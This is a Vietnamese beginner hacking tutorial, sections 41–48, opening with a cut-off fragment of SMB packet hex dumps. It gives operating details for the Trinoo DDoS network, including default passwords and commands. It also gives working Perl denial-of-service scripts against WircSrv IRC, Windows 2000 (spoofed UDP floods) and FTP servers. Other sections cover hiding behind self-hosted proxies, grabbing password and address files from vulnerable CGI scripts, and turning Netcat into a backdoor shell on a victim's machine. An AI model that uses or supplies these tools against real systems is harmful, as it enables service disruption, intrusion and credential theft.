30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00
""",
# Yêu cầu setup SMB X
"""
ff 53 4d 42 73 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff
ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00
00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f
55 50 00 55 6e 69 78 00 53 61 6d 62 61 00
""",
# Yêu cầu SMBtconX
"""
ff 53 4d 42 75 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00
00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56
45 52 5c 49 50 43 24 00 49 50 43 00
""",
# Yêu cầu khởI tạo SMBnt X
"""
ff 53 4d 42 a2 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00
07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00
00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00
00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72
76 73 76 63 00
""",
# yêu cầu biên dịch SMB
"""
ff 53 4d 42 25 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00
00 48 00 00 00 00 00 00 00 00 00 00 00 00 0

Những hiểu biết cơ bản nhất để trở thành Hacker

41 . ) Tấn công DDoS thông qua Trinoo :

_ Bạn đã biết DDoS attack là gì rồi phải không ? Một cuộc tấn công DDoS bằng
Trinoo được thực hiện bởi một kết nối của Hacker Trinoo Master và chỉ dẫn
cho Master để phát động một cuộc tấn công DDoS đến một hay nhiều mục tiêu.
Trinoo Master sẽ liên lạc với những Deadmons đưa những địa chỉ được dẫn
đến để tấn công một hay nhiều mục tiêu trong khoảng thời gian xác định .
_ Cả Master và Deamon đều được bảo vệ bằng Passwd . chỉ khi chúng ta biết
passwd thì mới có thể điều khiển được chúng , điều này không có gì khó
khăn nếu chúng ta là chủ nhân thực sự của chúng . Những passwd này thường
được mã hoá và bạn có thể thiết lập khi biên dịch Trinoo từ Source ----->
Binnary. Khi được chạy , Deadmons sẽ hiện ra một dấu nhắc và chờ passwd nhập
vào , nếu passwd nhập sai nó sẽ tự động thoát còn nếu passwd được nhập
đúng thì nó sẽ tự động chạy trên nền của hệ thống .

attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
kwijibo
Connection closed by foreign host. < == Bạn đã nhập sai


attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
trinoo> < == bạn đã vào được hệ thống trinoo

_ Đây là vài passwd mặc định :

“l44adsl": pass của trinoo daemon .
"gorave": passwd của trinoo master server khi startup .
"betaalmostdone": passwd điều khiển từ xa chung cho trinoo master .
"killme": passwd trinoo master điều khiển lệnh "mdie" .

_ Đây là một số lệnh dùng để điều khiển Master Server:


CODE
die------------------------------------------------------------Shutdown.
quit------------------------------------------------------------Log off.
mtimer N----------------------------------------------------Đặt thờI gian để tấn công
DoS , vớI N nhận giá trị từ 1--> 1999 giây .
dos IP-------------------------------------------------------Tấn công đến một địa chỉ
IP xác định .
mdie pass---------------------------------------------------Vô hiệu hoá tất cả các
Broadcast , nếu như passwd chính xác . Một lệnh đưọc gửi tới ("d1e l44adsl")
Broadcast để Shutdown chúng . Một passwd riêng biệt sẽ được đặt cho mục này

mping--------------------------------------------------------Gửi một lệnh ping tới ("png
l44adsl") c¸c Broadcast.
mdos <ip1:ip2..> ------------------------------------------Send nhiều lênh DOS ("xyz l44adsl
123:ip1:ip2") đến các Broadcast.
info-------------------------------------------------------------Hiển thị thông tin về
Trinoo .
msize----------------------------------------------------------Đặt kích thước đệm cho
những gói tin được send đi trong suốt thờI gian DoS.
nslookup host----------------------------------------------Xác định tên thiết bị của
Host mà Master Trinoo đang chạy .
usebackup---------------------------------------------------Chuyển tớI các file Broadcast sao
lưu được tạo bởi lệnh “killdead”.
bcast-----------------------------------------------------------Liệt kê danh sách tất cả
các Broadcast có thể khai thác .
help [cmd] ---------------------------------------------------Đưa ra danh sách các lệnh .
mstop-----------------------------------------------------------Ngừng lại các cuốc tấn
công DOS .


_ Đây là một số lệnh dùng để điều khiển Trinoo Deadmons:

CODE
aaa pass IP----------------------------------------------------Tấn công đến địa chỉ IP
đã xác định . GửI gói tin UDP (0-65534) đến cổng của UDP của địa chỉ IP đã
xác định trong một khoảng thời gian xác định được mặc định là 120s hay từ
1-->1999 s .
bbb pass N-----------------------------------------------------Đặt thờI gian giới hạn cho
các cuộc tấn công DOS .
Shi pass--------------------------------------------------------Gửi chuỗi “*HELLO*” tới
dánh sách Master Server đã được biên dịch trong chương trình trên cổng
31335/UDP.
png pass-------------------------------------------------------Send chuỗi “Pong” tớI Master
Server phát hành các lệnh điều khiển trên cổng 31335/UDP.
die pass--------------------------------------------------------Shutdown Trinoo.
rsz N------------------------------------------------------------Là kích thước của bộ
đệm được dùng để tấn công , nó được tính bằng byte .
xyz pass 123:ip1:ip3----------------------------------------tấn công DOS nhiều mục tiêu
cùng lúc .

42 . ) Kỹ thuật ấn công DoS vào WircSrv Irc Server v5.07 :

_ WircSrv IRC là một Server IRC thông dụng trên Internet ,nó sẽ bị Crash nếu như
bị các Hacker gửi một Packet lớn hơn giá trị ( 65000 ký tự ) cho phép đến Port
6667.
Bạn có thể thực hiện việc này bằng cách Telnet đến WircSrv trên Port 6667:

Nếu bạn dùng Unix:

[hellme@die-communitech.net$ telnet irc.example.com 6667
Trying example.com...
Connected to example.com.
Escape character is '^]'.
[buffer]

Windows cũng tương tự:

telnet irc.example.com 6667

Lưu ý: [buffer] là Packet dữ liệu tương đương với 65000 ký tự .
Tuy nhiên , chúng ta sẽ crash nó rất đơn giản bằng đoạn mã sau ( Các bạn hãy
nhìn vào đoạn mã và tự mình giải mã những câu lệnh trong đó , đó cũng là
một trong những cách tập luyện cho sự phản xạ của các hacker khi họ nghiên
cứu . Nào , chúng ta hãy phân tích nó một cách căn bản ):

CODE
#!/usr/bin/perl #< == Đoạn mã này cho ta biết là dùng cho các lệnh trong perl
use Getopt::Std;
use Socket;
getopts('s:', \%args);
if(!defined($args{s})){&usage;}
my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto);
$foo = "A"; # Đây là NOP
$number = "65000"; # Đây là tất cả số NOP
$data .= $foo x $number; # kết quả của $foo times $number
$serv = $args{s}; # lệnh điều khiển server từ xa
$port = 6667; # lệnh điều khiển cổng từ xa , nó được mặc định là 6667
$buf = "$data";
$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";
print S "$buf";
print("Data has been successfully sent to $serv\n");
sub usage {die("\n\n Lỗi WircSrv Version 5.07s
có thể tấn công bằng DoS \n gửi 2 64k gói tin đến server làm cho nó crash.\n -s
server_ip\n\n");}


Để sử dụng cái mã này , bạn hãy save nó vào một file *.pl , rồI down chương
trình activeperl về sài , setup nó rồi vào HĐH DOS bạn chỉ cần gọi file này ra
theo lệnh sau :

C:\>perl < đường dẫn đến file *.pl >

( Đến bây giờ tôi sẽ không bày thật cặn kẽ nữa mà sẽ tăng dần độ khó
lên , nếu bạn nào nghiên cứu kỹ các bài trước thì các bạn sẽ làm được
dễ dàng thôi )

43 . ) Kỹ thuật tấn công DoS vào máy tính sử dụng HĐH Win2000 :

_ Muốn sử dụng được nó , bạn phải có activeperl , rồi sử dụng như hướng
dẫn tương tự trên . Save đoạn mã vào file *.pl rồI dùng lệnh perl gọi nó ra :


CODE
#!/usr/bin/perl -w
use Socket;
use Net::RawIP;
use Getopt::Std;

getopts("s:d:p:l:n:v:t:f:T:rL",%o);$ver="0.3a";$0=~s#.*/##;
print"--- $0 v.$ver b/ Nelson Brito / Independent Security Consultant --- ";
$l=$o{'l'}?$o{'l'}+28:800+28;$n=$o{'n'}?$o{'n'}/2:800/2;
$v=$o{'v'}||4;$t=$o{'t'}||1;$f=$o{'f'}||0;$T=$o{'T'}||64;
$p=$o{'p'}?$o{'p'}:frown:getservbyname('isakmp','udp')||die"getservbyname: $! ");

($o{'s'}&&$o{'d'})||die
" Use: $0 [IP Options] [UDP Options] ",
"IP Options: ",
" -s* Đia chi nguon đe bat chuoc ",
" -d* Đia chi bi tan cong ",
" -v IP Version (def: $v) ",
" -t IP Type of Service (TOS) (def: $t) ",
" -f IP fragementation offset (def: $f) ",
" -T IP Time to Live (TTL) (def: $T) ",
"UDP Options: ",
" -p cong cua may tinh nan nhan (def: $p) ",
" -l chieu dai cua goi tin (def: $l) ",
" -r cai đat du lieu ngau nhien (def: ".") ",
"Generic: ",
" -n So luong goi tin ta muon gui đi (def: $n) ",
" -L gui goi tin lien tuc khong ngung cho đen khi may tinh cua nan nhan bi die he he",
" Bai huong dan cua ANHDENDAY . ";

while($n > 0){
$|=1;print".";$sp=int rand 65535;
$D=$o{'r'}?(chr(int rand 255)) x $l:"." x $l;
$nb=new Net::RawIP({
ip=>
{
version=>$v,
tos=>$t,
ttl=>$T,
frag_off=>$f,
saddr=>$o{'s'},
daddr=>$o{'d'}
},
udp=>
{
source=>$sp,
dest=>$p,
len=>$l,
data=>$D
}
});
$nb->send;undef $nb;!$o{'L'}&&$n--;
}
print"Finish! ";


_ Khi gọi ra bạn hãy chọn tuỳ chọn đã ghi ở trong đó mà DoS . Nhớ là chỉ
dùng cho Win2000 nhé .

44 . ) Kỹ thuật tấn công DoS dễ dàng nhất :

_ Tôi thì mỗi lần muốn tấn công bằng DoS đều dùng chương trình này , nó
chẳng kén gì cả và dễ thực hiện . Bây giờ tôi sẽ chia sẻ với các bạn .
_ Bạn cần phải có Activeperl ( lại là activepert ) đã cài sẵn , save đoạn mã
sau vào file abc.pl :

CODE
#!/usr/bin/perl

use IO::Socket;

sub initiate {
if ($ARGV[0] eq '') {die "Usage: perl abc.pl <host> <port> <username> <password>\nVi du : perl
abc.pl 127.0.0.1 21 anonymous me@\n";}

$host = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
};

sub connecttoserver {
print("Connect den host: $host\n");
$socket = IO::Socket::INET->new (PeerAddr => $host,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM
) || die "khong the connect den $host";

print "Connect thanh cong . Loggin vao...\n";
};

sub login {
print "user $user\n";
print $socket "user $user\r\n";
$response = <$socket>
print "$response\n";

print "pass $pass\n";
print $socket "pass $pass\r\n";
$response = <$socket>
print "$response\n";

print "Logged in. Dang tan cong DoS doi phuong. Nhan CTRL-C de ngung.\n";
};

sub doit {
for (;; ){
print "retr a:/x\n";
print $socket "retr a:/x\r\n";
$response = <$socket>
print "$response";
}
}

initiate();
connecttoserver();
login();
doit();


_Nếu bạn từng qua lập trình khi đọc đoạn mã bạn sẽ thấy rằng đoạn mã
này dùng chính thông tin từ ổ đĩa A của nạn nhân để tấn công nạn nhân . Nó
sử dụng vòng lặp không có giới hạn từ hàm $socket "retr a:/x\r\n" . Khi muốn
kết thúc bạn chỉ cần nhấn ctrl+C .
_Cuối cùng là bạn chỉ cần gọi nó ra thông qua lệnh perl như các bài trên .VD
:

perl abc.pl http://www.xxx.com/ anonymous me

trong đó User name và Password có thể là bất kỳ .

Vậy là coi như các bạn đã biết tấn công DoS là như thế nào rồi phải không ?
Đó chỉ là những cách tấn công DoS thông thường ( nhưng hậu quả thì chẳng
thường thường chút nào ) , còn các kỹ thuật DoS lợi hại khác như DRDoS thì cho
các bạn nghiên cứu thêm vậy . Nó rất nguy hiểm khi sử dụng lung tung nên để
dành phần đó cho các bạn nào thích và thật sự muốn nghiên cứu về nó . Tôi
xin dừng phần DoS tại đây .

45 . ) Tự tạo cho mình một proxy để sài :

_Trong các công việc như tấn công DoS hay đột nhập vào trang Web có trang bị
firewall thì bạn cần đến proxy để sài . Do đó các bạn hãy tự tạo cho mình
một cái proxy made in <yourname> sài cho nó oai . Bây giờ hãy làm cùng tôi .
_ Trước hết bạn đăng ký một host miễn phí ở trang free.prohosting.com . Bạn hãy
khai báo thông tin về bạn trong các ô nhập thông tin . Cuối cùng khi đăng ký xong
bạn sẽ nhận được Mail từ trang Web này gửi đến , hãy test nó để lấy pass
mặc định mà nó cho bạn .
_ Tiếp theo bạn vào trang www.xav.com , rồi nhấp vào link install phía dưới dòng
chữ Test - script Package( tui nhớ là có 2 cái tên mang chữ script này ) . Sau đó
bạn nhấn "next" và nhìn ở phía dưới của trang này có chữ show all verdon , bạn
hãy nhấn vào đó .
_ Tiếp tục bạn nhấn James Marshall ==>CGIscript ==>CGIproxy==>Next==>accept==> cho đến
khi bạn thấy một cái bảng có nhiều ô nhập thông tin . Bạn hãy nhập thông tin
vào các trang đó :
+ your Website : nhập địa chỉ trang Web của bạn đã đăng ký trong prohosting.com
.
+ FTP username : Bạn nhập username mà bạn đã đăng ký trong prohosting.com .
+ FTP password : Bạn nhập passwd mà prohosting.com đã send về mail cho bạn .
+ Mấy cái còn lại không cần thiết , bạn nhấp next để tiếp tục . Rồi nhấn
finish .
+ Cuối cùng nó sẽ cho bạn địa chỉ bạn vừa tạo cái proxy đó , bạn hãy ghi
nhớ nó . Sau này mỗi lần “hành động” thì bạn lại đem ra sài .

46 . ) Kỹ thuật lấy pass thông qua lỗi của một số Script :

a . ) Calendar CGI Script :

_ Một trong số những scripts đã tìm thấy điểm yếu đó là calendar scripts , nó
nằm trong thư mục cgi-bin/calendar, file config là file calendar.cfg chứa administrator
username và password để thay đổi chọn lựa cho scripts khi cần , cái này có thể
tìm thấy ở cuối file calendar.cfg , tuy nhiên chúng đã được mã hoá chúng ta chỉ
việc dùng John The Ripper hay những công cụ khác để giải mã nó là xong :
_file calendar.cfg thường đặt tại địa chỉ sau :

http://www.xxx.com/cgi-bin/calendar/calendar.cfg

sau khi crack xong chúng ta sẽ đến Admin Control Login vào địa chỉ :

http://www.xxx.com/cgi-bin/calen..._admin.pl?admin

_ Vậy là bạn đã có được quyền admin rồi đó .

b . ) WebBBS Script :

_WebAdverts Script là một scripts cho phép webmasters hiển thị những biểu ngữ luân
phiên ( quảng cáo chẳng hạn ) hay thêm vào trong trang Web , cuối cùng bạn có thể
sử dụng kết hợp password và username để cài đặt banners tạo một banner accounts
mới , xoá accounts view sensitive info, vv.vv
_Địa chỉ passwd của WebAdverts là :

http://www.xxx.com/cgi-bin/advert/adpassword.txt

sau khi giải mã bạn logging vào:

http://www.xxx.com/cgi-bin/advert/ads_admin.pl

để login như là script administrator .

c . ) WWWBoard Script :

_WWWBoard có file password có thể tìm thấy trong pasword.txt , chúng ta hãy search nó
bằng từ khoá cgi-bin/wwwebboard hoặc webboard/password.txt .

d . ) Mailmachine Script :

_Mailmachine.cgi là một webbased mailinglist , bạn có thể trông thấy file adressed.txt
chứa tất cả danh sách khách đã đăng ký , những danh sách có thể thấy tại
những urls sau:

http://www.xxx.com/cgi-bin/mailman/addresses.txt
http://www.xxx.com/cgi-bin/maillist/addresses.txt
http://www.xxx.com/cgi-bin/mail/addresses.txt

bạn cũng nên tìm addresses.txt mà đôi khi chúng được đổi thành các tên khác .
Chúng có thể chứa các thông tin quan trọng cho phép bạn khai thác .

Việc tìm ra các trang bị lỗi này hẳn các bạn đã biết , tôi sẽ không nhắc
lại nữa ( Nếu ai chưa biết thì vui lòng đọc lạI những phần trước ) .

======================================================

Nhân đây tôi xin đính chính lại là trong các đoạn code mà tôi phân tích và post
lên ở những phần trước tôi đã sơ ý không thêm ký hiệu “#” vào trước
những câu phân tích đó , dẫn đến việc một số bạn thắc mắc là đoạn code
không hoạt động . Tôi thành thật xin lỗi các bạn vì sơ ý của tôi , các bạn
chỉ cần lấy đoạn code đó ra và thêm vào dấu “ # ” ở phía trước dòng chú
thích Tiếng Việt của tôi là được ( Thông thường tôi có sử dụng dấu “ <
== ” để giải thích ở phiá đuôi đoạn code đó . Các bạn hãy để ý mà fix
nhé .

47 . ) Các công cụ cần thiết để hack Web :

_ Đối với các hacker chuyên nghiệp thì họ sẽ không cần sử dụng những công
cụ này mà họ sẽ trực tiếp setup phiên bản mà trang Web nạn nhân sử dụng
trên máy của mình để test lỗi . Nhưng đối với các bạn mới “vào nghề”
thì những công cụ này rất cần thiết , hãy sử dụng chúng một vài lần bạn
sẽ biết cách phối hợp chúng để việc tìm ra lỗi trên các trang Web nạn nhân
được nhanh chóng nhất . Sau đây là một số công cụ bạn cần phải có trên
máy “làm ăn” của mình :
_ Công cụ thứ 1 : Một cái proxy dùng để che dấu IP và vượt tường lửa khi
cần ( Cách tạo 1 cái Proxy tôi đã bày ở phần 7 , các bạn hãy xem lại nhé )
.
_ Công cụ thứ 2 : Bạn cần có 1 shell account, cái này thực sự quan trọng đối
với bạn . Một shell account tốt là 1 shell account cho phép bạn chạy các chương
trình chính như nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...và shell account
đó cần phải cài chương trình GCC ( rất quan trọng trong việc dịch (compile) các
exploit được viết bằng C) như MinGW, Cygwin và các dev tools khác.
Shell account gần giống với DOS shell,nhưng nó có nhiều câu lệnh và chức năng
hơn DOS . Thông thường khi bạn cài Unix thì bạn sẽ có 1 shell account, nếu bạn
không cài Unix thì bạn nên đăng ký trên mạng 1 shell account free hoặc nếu có ai
đó cài Unix và thiết lập cho bạn 1 shell account thì bạn có thể log vào telnet
(Start --> Run --> gõ Telnet) để dùng shell account đó. Sau đây là 1 số địa chỉ
bạn có thể đăng ký free shell account :
http://www.freedomshell.com/
http://www.cyberspace.org/shell.html
http://www.ultrashell.net/
_Công cụ thứ 3 : NMAP là Công cụ quét cực nhanh và mạnh. Có thể quét trên
mạng diện rộng và đặc biệt tốt đối với mạng đơn lẻ. NMAP giúp bạn xem
những dịch vụ nào đang chạy trên server (services / ports : webserver , ftpserver ,
pop3,...),server đang dùng hệ điều hành gì,loại tường lửa mà server sử
dụng,...và rất nhiều tính năng khác.Nói chung NMAP hỗ trợ hầu hết các kỹ
thuật quét như : ICMP (ping aweep),IP protocol , Null scan , TCP SYN (half open),... NMAP
được đánh giá là công cụ hàng đầu của các Hacker cũng như các nhà quản
trị mạng trên thế giới.
Mọi thông tin về NMAP bạn tham khảo tại http://www.insecure.org/ .
_ Công cụ thứ 4 : Stealth HTTP Security Scanner là công cụ quét lỗi bảo mật tuyệt
vời trên Win32. Nó có thể quét được hơn 13000 lỗi bảo mật và nhận diện
được 5000 exploits khác.
_ Công cụ thứ 5 : IntelliTamper là công cụ hiển thị cấu trúc của một Website
gồm những thư mục và file nào, nó có thể liệt kê được cả thư mục và file
có set password. Rất tiện cho việc Hack Website vì trước khi bạn Hack một Website
thì bạn phải nắm một số thông tin của Admin và Website đó.
_ Công cụ thứ 6 : Netcat là công cụ đọc và ghi dữ liệu qua mạng thông qua giao
thức TCP hoặc UDP. Bạn có thể dùng Netcat 1 cách trực tiếp hoặc sử dụng
chương trình script khác để điều khiển Netcat. Netcat được coi như 1 exploitation
tool do nó có thể tạo được liên kết giữa bạn và server cho việc đọc và ghi
dữ liệu ( tất nhiên là khi Netcat đã được cài trên 1 server bị lỗI ). Mọi
thông tin về Netcat bạn có thể tham khảo tại http://www.l0pht.com/ .
_ Công cụ thứ 7 : Active Perl là công cụ đọc các file Perl đuôi *.pl vì các
exploit thường được viết bằng Perl . Nó còn được sử dụng để thi hành các
lệnh thông qua các file *.pl .
_ Công cụ thứ 8 : Linux là hệ điều hành hầu hết các hacker đều sử dụng.
_ Công cụ thứ 9 : L0phtCrack là công cụ số một để Crack Password của Windows
NT/2000 .
_ Cách Download tôi đã bày rồi nên không nói ở đây , các bạn khi Download nhớ
chú ý đến các phiên bản của chúng , phiên bản nào có số lớn nhất thì các
bạn hãy Down về mà sài vì nó sẽ có thêm một số tính năng mà các phiên bản
trước chưa có . Nếu down về mà các bạn không biết sử dụng thì tìm lại các
bài viết cũ có hướng dẫn bên Box “Đồ nghề” . Nếu vẫn không thấy thì
cứ post bài hỏi , các bạn bên đó sẽ trả lời cho bạn .

48 . ) Hướng dẫn sử dụng Netcat :

a . ) Giới thiệu : Netcat là một công cụ không thể thiếu được nếu bạn muốn
hack một website nào đó vì nó rất mạnh và tiện dụng . Do đó bạn cần biết
một chút về Netcat .
b . ) Biên dịch :
_ Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.
- hiệu chỉnh file netcat.c bằng vii: vi netcat.c
+ tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init();
+ thêm 2 dòng sau vào phần #define (nằm ở đầu file):

#define GAPING_SECURITY_HOLE
#define TELNET

- biên dịch: make linux
- chạy thử: ./nc -h
- nếu bạn muốn chạy Netcat bằnng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại
biến môi trường PATH trong file ~/.bashrc, thêm vào ":."
PATH=/sbin:/usr/sbin:...:.
_ Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe.
Chỉ vậy giải nén và chạy là xong.
c . ) Các tùy chọn của Netcat :
_ Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:

CODE
C:\>nc -h
connect to somewhere: nc [-options] hostname port [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d ----------- tách Netcat khỏi cửaa sổ lệnh hay là console, Netcat sẽ chạy ở chế
độ steath(không hiển thị trên thanh Taskbar)
-e prog --- thi hành chương trình prrog, thường dùng trong chế độ lắng nghe
-h ----------- gọi hướng dẫn
-i secs ----- trì hoãn secs mili giâyy trước khi gởi một dòng dữ liệu đi
-l ------------- đặt Netcat vào chẺ? độ lắng nghe để chờ các kết nối đến
-L ------------ buộc Netcat "cố?" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi
ngắt một kết nối.
-n ------------ chỉ dùng địa chỉ? IP ở dạng số, chẳng hạn như 192.168.16.7,
Netcat sẽ không thẩm vấn DNS
-o ------------ file ghi nhật kí vàoo file
-p port ----- chỉ định cổng port<
-r yêu cầu Netcat chọn cổng ngẫ?u nhiên(random)
-s addr ----- giả mạo địa chỉ IIP nguồn là addr
-t ------------- không gởi các thônng tin phụ đi trong một phiên telnet. Khi bạn telnet
đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn
gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng
netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến
telnetd.
-u ------------- dùng UDP(mặc địnhh netcat dùng TCP)
-v ------------- hiển thị chi tiếtt các thông tin về kết nối hiện tại.
-vv ----------- sẽ hiển thị thôngg tin chi tiết hơn nữa.
-w secs ---- đặt thời gian timeout cho mỗi kết nối là secs mili giây
-z ------------- chế độ zero I/O, tthường được sử dụng khi scan port


Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080
nghĩa là 1,2,3,..,8080

d . ) Tìm hiểu Netcat qua các VD :

_ Chộp banner của web server :

Ví dụ: nc đến 172.16.84.2, cổng 80

CODE
C:\>nc 172.16.84.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html


Để biết thông tin chi tiết về kết nối, bạn có thể dùng –v ( -vv sẽ
cho biết các thông tin chi tiết hơn nữa)

C:\>nc -vv 172.16.84.1 80

CODE
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK


Nếu muốn ghi nhật kí, hãy dùng -o <tên_file>. Ví dụ:

nc -vv -o nhat_ki.log 172.16.84.2 80

xem file nhat_ki.log xem thử nó đã ghi những gì nhé :

CODE
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....


dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server

_ Quét cổng :
Bạn hãy chạy netcat với tùy chọn –z . Nhưng để quét cổng nhanh hơn, bạn hãy
dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1->500)
của host 172.16.106.1

CODE
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open


nếu bạn cần scan các cổng UDP, dùng -u

CODE
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open


_ Biến Netcat thành một trojan :
Trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng
tùy chọn –l ( listen ) và -p port để xác định số hiệu cổng cần lắng nghe, -e
<tên_chương_trình_cần_chạy> để yêu cầu netcat thi hành 1 chương trình khi có 1
kết nối đến, thường là shell lệnh cmd.exe ( đối với NT) hoặc /bin/sh(đối
với Unix). Ví dụ:

CODE
E:\>nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error


Trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn
nhân trên cổng đã định, chẳng hạn như 8080

CODE
C:\>nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\>cd test
cd test
E:\test>dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:\test
[.] [..] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:\test>exit
exit
sent 20, rcvd 450: NOTSOCK


Như các bạn đã thấy , ta có thể làm những gì trên máy của nạn nhân rồi ,
chỉ cần một số lệnh cơ bản , ta đã chiếm được máy tính của đối phương
, các bạn hãy xem tiếp nhé :

CODE
E:\>nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...?
?


Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng
nghe. Chỉ cần chỉ định địa chỉ nguồn là -s<địa_chỉ_ip_của_máy_này>. Ví
dụ:

CODE
netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang
lắng nghe
...
E:\>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163?
?


Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền
Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là
xong.
